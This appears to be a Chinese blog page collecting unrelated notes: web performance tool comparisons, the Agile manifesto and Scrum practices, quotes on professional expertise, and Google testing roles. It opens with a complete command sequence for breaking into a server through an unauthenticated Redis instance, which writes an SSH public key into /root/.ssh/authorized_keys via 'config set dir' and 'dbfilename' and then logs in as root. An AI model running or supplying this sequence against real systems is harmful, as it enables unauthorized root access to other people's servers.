redis 没有设置密码认证情况下，可以通过该漏洞入侵服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# 生成秘钥
ssh-keygen -t rsa

# 生成用于写入redis的文件
 (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") >aa.txt

# 注入公钥
cat aa.txt | redis-cli -h 192.168.1.221 -x set aa

# 登录redis
redis-cli -h 192.168.1.221
# 切换路径
192.168.1.221:6379> config set dir /root/.ssh/
OK
# 修改save名称
192.168.1.221:6379> config set dbfilename "authorized_keys"
OK
# 保存数据到硬盘
192.168.1.221:6379> save
OK

# 此时可以直接登录到服务器了
ssh 192.168.1.221

WebPageTest

WebPageTest是google的一个开源项目“make the web faster”的子项目，后来在2008年基于BSD开源
详情可见：官方文档

WebPageTest服务端基于PHP，而客户端会有不同的形式，可以部署在window/linux以及手机上，以下主要针对说明window上的agent。
后续将web server部署在debian上，agent部署在window上

• PageSpeed Insignts
  • 模式：在线版本https://developers.google.com/speed/pagespeed/insights/，有第三方chrome插件提供，并且提供有apache/nginx module（似乎用于对资源文件的压缩整合）
  • 优点：提供mobile和desktop版本评分及各种优化建议
  • 缺点：不适用响应式web，不适用内部网站，没瀑布流分析，无法保存数据

• YSlow
  • 模式：浏览器插件
  • 优点：快速分析任意页面，并根据规则提供对应优化建议
  • 缺点：不适用响应式web，没瀑布流分析，无法保存数据

• Chrome开发者工具
  • 模式：开发者工具
  • 优点：适用响应式web，分析包括Network，Profile，Timeline，Audits，非常详细的数据，提供部分优化建议
  • 缺点：无聚合式报告，无法保存数据

• PhantomJS
  • 模式：JavaScript API
  • 优点：无需浏览器，基于webkit，定制性强，适用响应式web，可结合自动化
  • 缺点：需要JavaScript编程能力，数据需额外工具进行展示或者定制，无法指定浏览器

• WebPageTest
  • 模式：Server+Agent
  • 优点：支持私有服务，适用响应式web，支持多种浏览器，聚合式报告，数据可存储，评分功能，提供API
  • 缺点：无优化建议，环境搭建复杂，数据分析能力要求高

敏捷宣言：

• 个体和互动 高于 流程和工具

• 可工作的软件 高于 详尽的文档

• 客户协作 高于 合同谈判

• 响应变化 高于 遵循计划

敏捷软件开发的12条原则：

• 最优先要做的是尽早、持续地交付有价值的软件，让客户满意

• 欣然面对需求变化，即使是在开发后期。敏捷过程利用变化为客户维持竞争优势

• 频繁地交付可工作的软件，从数周到数月，交付周期约短越好

• 在团队内外，面对面交谈是最有效，也是最高效的沟通方法

• 在整个项目过程中，业务人员和开发人员必须每天都在一起工作

• 以受激励的个体为核心构建项目。为他们提供所需的环境和支持，相信他们可以把工作做好

• 可工作的软件是衡量进度的首要标准

• 敏捷过程倡导可持续开发。赞助商、开发人员和用户要能够共同、长期维持其步调，稳定向前

• 坚持不懈的追求技术卓越和良好的设计、以此增强敏捷的能力

• 简单是尽最大可能减少不必要工作的艺术、是敏捷的根本

• 最好的架构、需求和设计来自自组织的团队

• 团队定期反思如何提升效率，并依此调整自己的行为

scrum主管不会要求大家预估自己的工作量，让每个人对自己的估计负责，而是会与整个团队一起来做每一项预估

如果一家公司中的团队成员让经理享有绝对的决策权，那么团队就会有一种置身事外的感觉

每日scrum例会帮助团队完成两件重要的事情：

• 检查团队正在做的事情，帮助调整工作以交付最大的价值

• 让团队有机会在最后责任时刻 做出决策，使得团队具有足够的灵活性，可以让正确的人在正确的时间完成正确的工作

让用户评判团队是否开发出有价值的软件的最佳方式就是尽可能频繁地把工作的软件交到用户手中，这就叫可见性或透明性

所有的流程和规范最终都是为了解决实际问题的，不要贸然引入流程，除非已经碰到问题，否则尽量简化流程，提高效率。
要交付一个产品，其中最重要的只有3点：

1. 确认用户需求和预期指标
2. 以最小成本实现最主要的需求
3. 发布并获得数据反馈，确定下一个迭代目标

在软件行业中，我们把设计、打造、发布一款符合市场需求的软件称为交付（shipping）

交付卓越产品，步步为“赢”

有效的交付过程，它分为7个阶段：

• 阶段一：确定正确的产品方向
• 阶段二：尽可能清晰详细地定义产品
• 阶段三：设计用户体验
• 阶段四：做一些基础的项目管理工作，不要太多也不要太少
• 阶段五：开始测试
• 阶段六： 准备发布
• 阶段七：发布

摘录

• 不经过思考便想成为专家，这不是专家应具备的态度

• 专家要控制自己的情感，并靠理性而行动。他们不仅具备较强的专业知识和技能以及较强的理念，而且无一例外地以顾客为第一位，具有无穷的好奇心和永无止境的进取心，严格遵守纪律

• 几乎没有任何一家企业看到顾客的需求

• 为了保障安全，必须有人能够在意外事故发生的瞬间做出果断的处理，这样的人正是专家

• 仅仅按照公司的规定采取行动的人，不仅无法称之为专家，而且也不利于公司的发展。因此我们应该铭记，从事任何工作都要首先确定自己的顾客，并发誓为顾客做出贡献

• 正确的做法应该是这样的：授权者赢在认清下属的能力和技能并考虑到此人今后发展的基础上，确定合适的权限范围；把握下属现有的能力水平。与权限所要求的能力水平之间的差距，做好亲自缩短这种差距的思想准备，然后再把权利交给下属。当然，切记不要连累顾客

• 需要的是这样的专家，他们从基础知识开始进行系统学习，亲身实践，对新事物反复消化并不断积累经验；经过持续的训练，他们能够把自己学到的知识提供给别人

• 如果在自信的背后没有好奇心作为助推器提供动力，是无法达到一流境界的。这一点可以说是区分非凡与平凡的决定性因素

• 全球产业界有一个共识，这就是“企业变革的敌人是中层”。当然，“中层”指的是中间管理层，在此我想提出一个新的概念–“好奇心水平居中的人”。

• 是在没有制定纪律的环境中，无论怎么教育都不会取得成果

• 只有纪律–或者称之为价值观更准确些，才能培养出专家

• 对专家而言，是不允许妥协的。所谓“妥协”，指的是只考虑自己的情况，而无视顾客与商业伙伴的利益，凡事过于乐观

• 专业技术人员只能按照规定进行电脑操作，而专家具备“洞察力”和“判断力”，能够使组织在没有既定方法与规范的情况下正常的运转

• 无论经过前任怎么的高度提炼，那些战略论都不一定能够引导 你得出正确的答案–即使能够启发你思考如何成功。我们应该铭记一点，那就是依靠固有的模式与陈旧的知识解析史无前例的现象，这种做法将会给事业的发展带来危害。

• 抛弃先例，养成怀疑常识的习惯，获得洞悉变化本质的能力–即使说这一切是商务专家的生命线，也绝不过分

• 只有那些总以为自己的经营环境危机四伏并时刻关注各种“坏消息”的企业，才有可能免于灭亡

• 要想磨炼自己的直觉能力，以适用于未知的新竞争领域，并提高直觉的准确性，不仅需要抛弃古老的经验与价值判断，而且必须在新的经济空间中努力积累经验

• 所有的一切都在发生巨变、在这样的社会中，要想经得起变化，就必须经常客观的审视自己，改变自己。自我变革没有止境，它通过由先见到构思、再由构思到先见的不断循环得以实现

• 首先把事业的核心限定在一个狭窄的范围内，然后纵深发展，以使竞争对手无法模仿，这一点至关重要

• 不知道答案并不可怕，重要的是必须区分出自己能够看到的和看不到的，自己明白的和不明白的

google软件测试介绍

质量不等于测试

质量不等于测试。停止开与测试的隔离队里，开发和测试应该并肩齐驱，你需要在写完每一段代码之后立即测试这段代码，当完成了更多的代码时就要做更多的测试

质量是开发过程的问题，而不是测试问题

角色

• 软件开发工程师（SWE software engineer）

• 软件测试开发工程师（SET software engineer in test）

• 测试工程师（TE test engineer）

版本

• 金丝雀版本：每日够要构建的版本

• 开发版本：开发人员日常使用的版本，一般每周发布一个

• 测试版本：通过了持续测试的版本

• beta或发布版本：由非常稳定的测试版本演变而来

今晚在跟朋友聊天的时候，聊到了一些关于公司的话题，突然感觉很多人在认知上觉得BAT这些公司才是比较有前景的公司。而事实上，什么是好公司了？

个人认为可以从三个角度去看这个问题：

• 社会的角度
• 个人的职业规划
• 个人的三观